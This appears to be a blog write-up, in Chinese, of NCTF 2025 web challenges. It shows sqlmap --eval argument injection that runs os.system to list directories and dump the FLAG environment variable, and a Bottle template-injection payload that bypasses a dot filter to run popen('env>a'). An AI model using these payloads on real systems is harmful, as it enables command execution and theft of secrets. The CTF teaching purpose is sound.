NCTF 2025 Web Writeup&Challenge Walkthrough
NCTF 2025 Web Writeup&Challenge Walkthrough
sqlmap-master
打开题目,一个输入框
当点击 Inject 会触发 runInject() 函数体执行,将写入的内容通过 HTTP POST 请求发送给 /run 路由,并异步接收来自路由的响应数据,然后逐步将响应内容显示在页面上
下载题目附件
源码分析
源码很短也很简单,使用 FastAPI 框架搭建网站,提供了两个路由:根路由,返回首页 index.html,另一个 /run 路由,用来接收来自前端的 URL 参数并触发 sqlmap 执行,执行结果通过 StreamingResponse 传输给前端
1 | # main.py |
靶机不出网,随便输入,页面返回了 SQLMAP 的执行结果
subprocess.Popen() 设置 shell=False,无法使用常规的命令注入技巧,但 SQLMAP 参数仍然可控,Github 检索一下 sqlmap 可利用的参数:
1 | Usage: python sqlmap.py [options] |
看到这两个
1 | --eval=EVALCODE Evaluate provided Python code before the request (e.g. |
--eval 能够运行 python 代码,执行系统命令,写入文件并用 -c 读取文件内容,-c 的内容会回显在 sqlmap 的执行结果中
将内容写入 sql1 中
1 | sqlmap -u `127.0.0.1 --eval eval("__import__('os').system('ls$IFS-m$IFS/>>sql1')")` --batch --flush-session |
读取
1 | sqlmap -u `127.0.0.1 -c sql1` --batch --flush-session |
读取成功,但 flag 不在根目录
NCTF 题目的所有 FLAG 都存储在环境变量 FLAG 中
直接读取 FLAG 环境变量,得到 flag
1 | 127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>sql2')") |
ez_dash(复现)
源码
1 | #source.txt |
我们翻看 Bottle文档模板引擎部分,能很轻易的发现模板注入
1 | return bottle.template(path) |
尽管程序过滤了.{},但Bottle模板引擎还支持 %的写法,能解析Python代码
所以思路是直接模板注入,不用管 _set,题目过滤了. 我们可以通过编码绕过
1 | if path.find("{") >= 0 or path.find("}") >= 0 or path.find(".")>=0: |
命令执行Payload 如下,发包时记得进行一层URL编码
1 | /render?path=% eval("__import__('os')"+chr(46)+"popen('env>a')") |
ez_dash_revenge(复现)
已复现
详细请看 - 初识原型链污染篇章:
H2 Revenge(暂未复现)
internal_api(暂未复现)
- Title: NCTF 2025 Web Writeup&Challenge Walkthrough
- Author: L1nq
- Created at : 2025-03-24 10:34:28
- Updated at : 2025-09-23 14:41:24
- Link: https://redefine.ohevan.com/2025/03/24/NCTF-2025春季赛/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments